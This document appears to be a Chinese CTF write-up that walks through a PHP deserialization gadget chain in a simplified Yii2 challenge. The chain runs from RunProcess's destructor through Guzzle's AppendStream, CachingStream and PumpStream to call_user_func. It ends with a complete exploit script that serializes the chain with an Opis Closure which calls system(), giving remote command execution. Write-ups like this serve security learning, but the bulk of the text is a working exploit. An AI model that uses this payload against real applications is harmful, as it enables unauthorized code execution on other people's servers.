题目开篇点题,直接说了是yii2的反序列化链,并且已经进行过简化了
    那么首先肯定是要找可能会造成任意命令执行的函数,经过一番查找,在class文件夹中的PumpStream.php中找到了

    1. private function pump($length)
    2. {
    3. if ($this->source) {
    4. do {
    5. $data = call_user_func($this->source, $length);
    6. if ($data === false || $data === null) {
    7. $this->source = null;
    8. return;
    9. }
    10. $this->buffer->write($data);
    11. $length -= strlen($data);
    12. } while ($length > 0);
    13. }
    14. }

    而想要调用pump函数,就需要想办法调用PumpStream类中的read函数

    1. public function read($length)
    2. {
    3. $data = $this->buffer->read($length);
    4. $readLen = strlen($data);
    5. $this->tellPos += $readLen;
    6. $remaining = $length - $readLen;
    7. if ($remaining) {
    8. $this->pump($remaining);
    9. $data .= $this->buffer->read($remaining);
    10. $this->tellPos += strlen($data) - $readLen;
    11. }
    12. return $data;
    13. }

    但是当想要调用read函数的时候,却发现在这个类中没有调用read函数的地方了,那么就得去其他类里面找。
    CachingStream类中,也找到了一个read函数

    1. public function read($length)
    2. {
    3. $data = $this->stream->read($length);
    4. $remaining = $length - strlen($data);
    5. if ($remaining) {
    6. $remoteData = $this->remoteStream->read(
    7. $remaining + $this->skipReadBytes
    8. );
    9. if ($this->skipReadBytes) {
    10. $len = strlen($remoteData);
    11. $remoteData = substr($remoteData, $this->skipReadBytes);
    12. $this->skipReadBytes = max(0, $this->skipReadBytes - $len);
    13. }
    14. $data .= $remoteData;
    15. $this->stream->write($remoteData);
    16. }
    17. return $data;
    18. }

    并且可以看到第一行的$data = $this->stream->read($length);,反序列化过程中,$this->stream的值是可以控制的,这样就可以调用到PumpStream类中的read函数。CachingStream中的链也很简单:
    rewind()->seek()->read()
    下一步就是找调用rewind函数的类,也就是AppendStream类,其中有个魔术方法__toString()

    1. public function __toString()
    2. {
    3. $this->rewind();
    4. return "hahaha";
    5. }

    经过一番查找,只有RunProcess类中的stopProcess满足__toString的调用限制:

    1. public function stopProcess()
    2. {
    3. foreach (array_reverse($this->processes) as $process) {
    4. if (!$process->isRunning()) {
    5. continue;
    6. }
    7. $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
    8. $process->stop();
    9. }
    10. $this->processes = [];
    11. }

    想办法控制$process->getCommandLine()的返回值为AppendStream对象即可。
    stopProcess函数又是从__destruct()函数中调用的,也就是说只要反序列化就会触发这个函数,到此为止,总算是拿到一条完整的链,但是想要成功getshell,还需要绕过一堆限制。
    倒着找的结束了,该正着看了。

    1. 为了让$this->output->debug可以成功执行,需要让$this->output=new DefaultGenerator();
    2. 接着又为了触发__toString(),就需要让$process->getCommandLine()返回一个AppendStream对象,即$this->processes[] = new DefaultGenerator(new AppendStream());
    3. 进入到AppendStream类的__toString()函数中,就是正常的函数调用到seek函数中,基本上只有这一段是关键代码:

      1. foreach ($this->streams as $i => $stream) {
      2. try {
      3. $stream->rewind();
      4. } catch (\Exception $e) {
      5. throw new \RuntimeException('Unable to seek stream '
      6. . $i . ' of the AppendStream', 0, $e);
      7. }
      8. }

      为了让其调用CachingStream类中的rewind函数,就需要给第2步中的AppendStream对象加一个$this->streams[] = new CachingStream();

    4. 进入到CachingStream类中,而这个类中要想调用read函数,需要控制一些变量的值:

      1. public function seek($offset)
      2. {
      3. $byte = $offset;
      4. $diff = $byte - $this->stream->getSize();
      5. if ($diff > 0) {
      6. while ($diff > 0 && !$this->remoteStream->eof()) {
      7. $this->read($diff);
      8. $diff = $byte - $this->stream->getSize();
      9. }
      10. } else {
      11. $this->stream->seek($byte);
      12. }
      13. }

      可以看到,在调用read函数之前,会有一个if判断diff的值,而$diff的值是两个值相减得到的,$offset是传进来的值,写死到程序里了,所以没办法修改,只能修改后面的$this->stream->getSize()。令$this->stream = new PumpStream(),同时声明$size的值为一个负数。
      接着往下走,到CachingStreamread函数中。

    5. 第一句$data = $this->stream->read($length);

      1. public function read($length)
      2. {
      3. // Perform a regular read on any previously read data from the buffer
      4. $data = $this->stream->read($length);

      因为已经为$this->stream赋值过了,所以跳转到PumpStream函数中的read函数。

    6. 想要进入pump函数,需要使$remaining的值不为0:

      1. public function read($length)
      2. {
      3. $data = $this->buffer->read($length);
      4. $readLen = strlen($data);
      5. $this->tellPos += $readLen;
      6. $remaining = $length - $readLen;
      7. if ($remaining) {
      8. $this->pump($remaining);
      9. $data .= $this->buffer->read($remaining);
      10. $this->tellPos += strlen($data) - $readLen;
      11. }
      12. return $data;
      13. }

      可以看到,$remaining的值是传进来的参数$length$this->buffer->read($length);读到的值的长度,这两个值都是可控的,$length是第4步中的PumpStreamsize的值,而$this->buffer->read($length)可以让$this->buffer=new DefaultGenerator(),随便返回一个不大于$length的值即可。

    7. 终于到了最后一步:

      1. private function pump($length)
      2. {
      3. if ($this->source) {
      4. do {
      5. $data = call_user_func($this->source, $length);
      6. if ($data === false || $data === null) {
      7. $this->source = null;
      8. return;
      9. }
      10. $this->buffer->write($data);
      11. $length -= strlen($data);
      12. } while ($length > 0);
      13. }
      14. }

      这里就很简单了,前面创建PumpStream对象时,为$this->source赋值即可,这里因为后面还有一个$length参数会一块传过去,所以可以自己写一个函数,忽略掉这个函数,然后使用yii2自己的序列化和反序列化,得到函数。
      exp: ```php <?php

    namespace Codeception\Extension { use Faker\DefaultGenerator; use GuzzleHttp\Psr7\AppendStream;

    1. class RunProcess
    2. {
    3. protected $output;
    4. private $processes = [];
    5. public function __construct()
    6. {
    7. $this->processes[] = new DefaultGenerator(new AppendStream());
    8. $this->output = new DefaultGenerator();
    9. }
    10. }
    11. echo base64_encode(serialize(new RunProcess()));

    }

    namespace Faker { class DefaultGenerator { protected $default;

    1. public function __construct($default = null)
    2. {
    3. $this->default = $default;
    4. }
    5. }

    }

    namespace GuzzleHttp\Psr7 {

    1. use Faker\DefaultGenerator;
    2. final class AppendStream
    3. {
    4. private $streams = [];
    5. private $seekable = true;
    6. public function __construct()
    7. {
    8. $this->streams[] = new CachingStream();
    9. }
    10. }
    11. final class CachingStream
    12. {
    13. private $remoteStream;
    14. public function __construct()
    15. {
    16. $this->remoteStream = new DefaultGenerator(false);
    17. $this->stream = new PumpStream();
    18. }
    19. }
    20. final class PumpStream
    21. {
    22. private $source;
    23. private $size = -1;
    24. private $buffer;
    25. public function __construct()
    26. {
    27. $this->buffer = new DefaultGenerator();
    28. include("closure/autoload.php");
    29. $a = function ($arg) {
    30. system('ls');
    31. };
    32. $a = \Opis\Closure\serialize($a);
    33. $b = unserialize($a);
    34. $this->source = $b;
    35. }
    36. }

    }

    ``` 参考:https://xz.aliyun.com/t/9948#toc-4